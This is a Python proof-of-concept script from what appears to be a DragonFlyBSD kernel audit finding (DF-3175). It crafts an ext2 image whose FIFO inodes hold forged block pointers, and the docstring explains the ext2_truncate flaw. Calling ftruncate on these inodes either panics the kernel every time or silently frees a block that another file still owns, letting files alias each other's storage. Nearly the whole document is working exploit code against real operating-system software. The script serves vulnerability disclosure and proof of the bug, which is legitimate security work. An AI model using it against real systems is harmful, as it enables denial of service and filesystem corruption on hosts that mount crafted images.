⬢ DragonFlyBSD Kernel Audit
DF-3175 / craft_img.py
← back to finding ↓ download raw
#!/usr/bin/env python3
"""
DF-3175 ext2 image crafter — special-file (FIFO) inodes with crafted i_db[].

Bug being proven (sys/vfs/ext2fs/ext2_inode.c):
  ext2_setattr()'s va_size switch has `default: break` (ext2_vnops.c:338),
  so ftruncate() on a VCHR/VBLK/VFIFO/VSOCK inode reaches ext2_truncate(),
  which has NO vnode-type gate (ext2_inode.c:458-491).  ext2_ind_truncate()
  then treats the inode's i_db[]/i_ib[] slots as file block pointers and
  frees them via ext2_blkfree() (ext2_alloc.c:1403), whose only validation
  is `bno < e2fs_bcount` (:1414).  A clear bitmap bit => unconditional
  panic("ext2_blkfree: freeing free block") (:1429); a set bit => the block
  is silently freed while still owned by another file (cross-file aliasing).

  (FreeBSD ufs_setattr returns 0 for special files — DragonFly diverges.)

Image contents (8 MiB, 4 KiB blocks, ext2 rev1, 128-byte inodes):
  victim    regular file, 4096 bytes of 'A'  -> owns exactly one data block
  targetA   FIFO, i_size=0x10000, i_db[0..11] = 12 DISTINCT free blocks,
            i_ib[]=0      -> ftruncate(fd,0) frees i_db[11] first =>
                             bit clear => kernel panic (deterministic)
  targetB   FIFO, i_size=0x10000, i_db[0] = victim's data block (bit SET),
            i_db[1..11]=0, i_ib[]=0 -> ftruncate(fd,0) silently frees
                             victim's live block (no panic, f_bfree += 1,
                             then a newly created file can alias it)

Run on the HOST (needs mke2fs, debugfs, python3):
    python3 craft_img.py out.ext2
"""
import os, struct, subprocess, sys

IMG = sys.argv[1] if len(sys.argv) > 1 else "df3175.ext2"
SIZE_MB = 8
BS = 4096
NBLK = (SIZE_MB * 1024 * 1024) // BS   # 2048 blocks

def sh(cmd, check=True):
    return subprocess.run(cmd, shell=True, check=check,
                          stdout=subprocess.PIPE, stderr=subprocess.STDOUT,
                          text=True).stdout

# 1. Base ext2 image: no metadata_csum, no huge_file, no 64bit, no extents.
sh(f"dd if=/dev/zero of={IMG} bs=1M count={SIZE_MB} 2>/dev/null")
sh(f"mke2fs -F -q -t ext2 -b {BS} -O '^metadata_csum,^huge_file,^64bit' {IMG} {NBLK}k")

# 2. Populate: victim (4096 'A's).  targetA/targetB are created as regular
#    files only so that debugfs allocates us inodes; we patch modes after.
sh("python3 -c \"open('/tmp/df3175_payload','wb').write(b'A'*4096)\"")
for name in ("victim", "targetA", "targetB"):
    sh(f"debugfs -w {IMG} -R 'write /tmp/df3175_payload {name}' >/dev/null 2>&1")

def inode_no(name):
    st = sh(f"debugfs {IMG} -R 'stat {name}' 2>/dev/null")
    for line in st.splitlines():
        if line.strip().startswith("Inode:"):
            return int(line.split()[1])
    raise SystemExit(f"no inode for {name}:\n{st}")

inos = {n: inode_no(n) for n in ("victim", "targetA", "targetB")}
print(f"[craft] inodes: {inos}")

# victim's single data block (debugfs prints "BLOCKS:" then "(0):NN")
import re
vst = sh(f"debugfs {IMG} -R 'stat victim' 2>/dev/null")
m = re.search(r"BLOCKS:.*?(?:\(\d+\):(\d+))", vst, re.S)
vblk = int(m.group(1)) if m else None
if vblk is None:
    raise SystemExit("no BLOCKS line:\n" + vst)
print(f"[craft] victim data block = {vblk}")

# 3. Pick 12 distinct FREE blocks inside [0, s_blocks_count) for targetA.
with open(IMG, "rb") as f:
    f.seek(1024); sb0 = f.read(64)
bcount = struct.unpack_from("<I", sb0, 4)[0]
free_blocks = []
b = bcount - 2
while len(free_blocks) < 12 and b > 100:
    out = sh(f"debugfs {IMG} -R 'testb {b}' 2>/dev/null")
    if "Illegal" not in out and ("marked free" in out or "not in use" in out):
        free_blocks.append(b)
    b -= 1
if len(free_blocks) < 12:
    raise SystemExit("could not find 12 free blocks")
print(f"[craft] targetA free (clear-bit) blocks = {free_blocks}")

# 4. Locate the inode table (block group 0 descriptor @ block 1, off 8).
with open(IMG, "rb") as f:
    f.seek(1024); sb = f.read(1024)
s_blocks_count = struct.unpack_from("<I", sb, 4)[0]
s_log_block_size = struct.unpack_from("<I", sb, 24)[0]
assert 1024 << s_log_block_size == BS
s_inodes_per_group = struct.unpack_from("<I", sb, 40)[0]
s_rev_level = struct.unpack_from("<I", sb, 76)[0]
s_inode_size = struct.unpack_from("<H", sb, 88)[0] if s_rev_level >= 1 else 128
with open(IMG, "rb") as f:
    f.seek(BS); gd = f.read(32)
itbl = struct.unpack_from("<I", gd, 8)[0]
print(f"[craft] bcount={s_blocks_count} ipg={s_inodes_per_group} "
      f"inode_size={s_inode_size} itbl@{itbl}")

FIFO_MODE = 0o010666               # S_IFIFO | rw-rw-rw-

def patch(ino, mode, size, dbs):
    off = itbl * BS + (ino - 1) * s_inode_size
    with open(IMG, "r+b") as f:
        f.seek(off); raw = bytearray(f.read(s_inode_size))
        struct.pack_into("<H", raw, 0, mode)          # e2di_mode  -> FIFO
        struct.pack_into("<I", raw, 4, size)          # e2di_size (low 32)
        struct.pack_into("<I", raw, 28, 32)           # e2di_nblock (plausible)
        flags = struct.unpack_from("<I", raw, 32)[0]
        flags &= ~0x00080000                          # ~EXT4_EXTENTS
        flags &= ~0x00040000                          # ~EXT4_HUGE_FILE
        struct.pack_into("<I", raw, 32, flags)
        for i in range(15):                           # e2di_blocks[0..14]
            v = dbs[i] if i < len(dbs) else 0
            struct.pack_into("<I", raw, 40 + 4 * i, v)
        f.seek(off); f.write(raw); f.flush(); os.fsync(f.fileno())
    print(f"[craft] ino {ino}: mode=0x{mode:o} size=0x{size:x} "
          f"db[0..2]={dbs[:3]}...")

# targetA: 12 distinct clear-bit blocks; frees run i=11..0, first is db[11]
patch(inos["targetA"], FIFO_MODE, 0x10000, free_blocks)
# targetB: ONLY db[0] = victim's live block (bit SET => silent free)
patch(inos["targetB"], FIFO_MODE, 0x10000, [vblk])

print(f"[craft] wrote {IMG} ({os.path.getsize(IMG)} bytes)")
print("[craft] A: ftruncate targetA -> panic;  B: ftruncate targetB -> silent free")